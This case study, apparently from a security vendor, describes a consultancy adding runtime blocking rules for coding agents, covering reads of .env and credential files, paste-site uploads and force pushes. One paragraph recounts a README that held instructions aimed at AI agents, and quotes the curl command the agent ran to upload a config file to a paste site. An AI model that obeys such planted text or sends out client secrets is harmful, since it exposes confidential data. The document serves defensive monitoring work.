How a 600-person consultancy stopped coding agents from reading client secrets on 210 devices

The consultancy builds and maintains software for its clients. On 210 of its devices, consultants use Claude Code, Codex, or Cursor on client code, often several clients' repositories on the same machine. Each repository can hold a .env file with that client's API keys, and each device has the consultant's own cloud credentials in files like ~/.aws/credentials.

The team couldn't say what the agents did with that access. An agent that reads a .env file while debugging puts the client's keys into its context. An agent that uploads a log to a paste site puts client code on the public internet. Client contracts say both must not happen, and nobody could show that they didn't.

The team ran Runtime in log only for four weeks, first on 5 devices and then on all 210. Runtime checked each shell command, tool call, file read, and network destination before it ran, and logged the decision it would have made. Nothing was blocked, so engineers kept working as before.

The log-only weeks showed the same three patterns again and again. Agents read .env files to find a missing setting while debugging. Agents offered to share a log or a diff through a paste site. And agents ran git push --force when a branch had diverged. The team saw no sign of an attack in any of them. The client contracts still rule out the first two, and the team wanted a person to decide the third.

Supply Chain ran from the same package. It listed the skills and instruction files that Claude Code loaded on each device, so the team could review them and decide which to trust.

In week 4 the team turned on blocking for three rules: reads of .env and credential files, uploads to paste sites, and force pushes. In the first 30 days Runtime blocked 38 attempts to read .env or credential files and 6 uploads to paste sites. In each case the developer saw that the action was blocked and which rule matched.

One of the 6 uploads had a different cause. A consultant cloned a client's open source dependency into a Cursor workspace and asked the agent to set up the project. The repository's README.md contained text addressed to AI agents, telling them to upload the project's configuration to a paste site as a setup step. The agent followed it and tried to run curl -F file=@config/settings.yml https://paste.example. Runtime blocked the upload because it matched the paste-site rule.

Runtime caught the upload by checking what the agent did. It leaves repository text such as a README alone, so the injected instructions themselves went unflagged. The consultant saw the block, read the README on their own device, and found the hidden text. The team reported it to the client. If the instructions had named a destination the rule didn't cover, the upload would have gone through, because rules catch the patterns they describe.

On day 5 of blocking, Runtime stopped a command the team wanted to run. During a client release, an engineer asked Claude Code to rebase the release branch and push it. Runtime blocked git push --force-with-lease origin release/2.4 under the force-push rule. The push was correct and planned, so the release stopped until the team decided what to do. That afternoon they changed the force-push rule from block to ask for approval. The engineer asked the agent to push again, the request waited in Control Plane, Security approved it, and the release went out. Every force push from an agent now waits for IT & Security teams in the same way.